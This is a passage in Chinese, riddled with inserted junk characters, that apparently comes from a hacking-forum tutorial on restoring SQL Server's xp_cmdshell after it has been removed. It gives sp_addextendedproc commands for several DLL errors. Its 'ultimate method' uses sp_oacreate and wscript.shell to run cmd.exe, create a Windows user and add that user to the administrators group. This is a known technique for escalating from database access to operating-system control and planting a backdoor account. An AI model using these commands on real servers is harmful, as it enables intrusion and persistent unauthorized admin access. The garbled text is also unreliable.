P ^3 x6 X3 y( H9 s* T # T @; h0 ~% e: b1 未能找到存储过程'master..xpcmdshell'. & u7 b1 r4 Y) ]% k1 n2 X! B 恢复方法:查询分离器连接后, 3 T" y( c0 M1 X" |6 F' C! _* x第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ( n% H& L v3 o4 \; j6 m第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ( y L7 n: `9 |# U S& n Z9 `然后按F5键命令执行完毕 9 ?, g# E9 Y% M: H 5 }& |- J+ \' `- \8 e1 r0 f2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)2 Q4 H- D& L$ q; U. D$ y7 t; U
恢复方法:查询分离器连接后, ! b+ H; N' ]! {+ F- k第一步执行:sp_dropextendedproc "xp_cmdshell" 8 j6 V& j1 V/ d7 s第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'+ W7 E7 R0 R* t/ F3 a
然后按F5键命令执行完毕 # R' r; w+ M% O. _: W7 l . y9 T! T6 Z4 u3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。) / l, P3 O. E0 s0 \恢复方法:查询分离器连接后,# Q/ L. K2 ` [, I/ n/ f- M
第一步执行:exec sp_dropextendedproc 'xp_cmdshell' ' L* a9 I& P& L第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' ( I' ^# q- s. V3 j# n0 g% O7 }/ N然后按F5键命令执行完毕 / W$ F: [# S9 z% [* W- k/ Z % M" R3 o6 O! Z4 s四.终极方法.* \1 E' n- A/ H8 S
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:2 O; @+ O; z; k5 `
查询分离器连接后,, G8 a5 W% ~! @: Z
2000servser系统: $ x/ l% x, W8 adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add': d/ \; L4 n- s- ~, o" j4 n: ^
+ P- _2 v! ?5 G* ], L) tdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add' 2 O# X# q4 ]' H/ O: f9 @6 i/ k- y3 g8 O! H
xp或2003server系统: $ ^3 C9 E, o1 A) S2 `# `5 B* E ! f) s$ n; R: }" C& ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'; r; I7 i: C/ X
5 R8 y. K {2 _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'/ q P0 G' D n